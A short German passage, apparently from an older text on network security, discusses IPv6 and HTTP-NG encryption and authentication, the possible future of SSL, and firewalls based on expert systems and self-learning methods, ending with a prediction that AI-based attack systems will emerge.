Ein Beispiel dafür ist die Version 6 des Internetprotokolls (IPv6). Es wurde vollständig überarbeitet und bietet neben einer Verlängerung der Internet-Adressen auf 128 Bit, einem vereinfachtem Headerformat und Multimediafähigkeiten auch eine optionale Verschlüsselung auf IP Ebene. Ebenfalls optional können Authentifikationsmechanismen genutzt werden. Auch das HTTP Protokoll wird in der neuen Version HTTP-NG (Next Generation) über ein Verschlüsselungsverfahren verfügen. Aufgrund der Einbeziehung der Verschlüsselungs- und Authentifikationsmechanismen in die bestehenden Protokolle wäre ein System wie SSL im Prinzip nicht mehr nötig, aber welche Systeme sich durchsetzen werden, ist zur Zeit noch nicht absehbar.
Blickt man in die Zukunft von Firewalls, so sind erste Firewall-Architekturen auf Basis von Expertensystemen zu erkennen. Aufgrund ständig wechselnder Angriffstechniken und neu entdeckter Sicherheitslücken versucht man, diesem durch selbstlernende Strukturen wie Neuronetze oder Entscheidungsbäume zu begegnen. Allerdings wird es nur eine Frage der Zeit sein, bis auch Angriffssysteme auf Basis von künstlicher Intelligenz verfügbar sind.